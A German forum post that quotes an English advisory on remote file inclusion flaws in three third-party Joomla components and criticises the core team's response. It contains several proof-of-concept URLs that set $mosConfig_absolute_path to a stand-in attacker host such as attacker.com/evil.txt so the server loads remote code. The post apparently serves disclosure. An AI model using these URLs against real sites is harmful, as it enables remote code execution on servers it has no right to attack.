Es liegt wohl auch daran, dass $mosConfig_absolute_path nicht darauf überprüft wird, ob der Pfad auf dem eigenen Server liegt. Ich habe im Forum von Joomla.org an drei Beispielen darauf hingewiesen..
Variables $mosConfig_absolute_path are not properly sanitized. When
register_globals=on
and
allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.
Proof Of Concept:
~~~~~~~~~~~~~~~
http://[target]/[path]/components/com_hashcash/server.php?mosConfig_absolute_path=http://attacker.com/evil.txt?
http://[target]/[path]/components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php?mosConfig_absolute_path=http://evilscript
http://[target]/[path]/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=http://attacker.com/evil.txt?
Solution:
~~~~~~~
sanitize variabel $mosConfig_absolute_path.
Quelle
http://forum.joomla.org/index.php/to...html#msg401990
In dem Thread wird lang und breit auf Joomla.org allerdings nur diskutiert, inwieweit das Core Team überhaupt verantwortlich ist, Drittkomponenten sicherer zu machen. Da bekomme ich einen Magenpförtnerkrampf. Besonders dann, wenn gerade Johan Janssens
vom Core Team selbst die Sitemap geschrieben hat, die verletzlich ist:
PHP-Code:
http://[target]/[path]/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=http://attacker.com/evil.txt?
Lesezeichen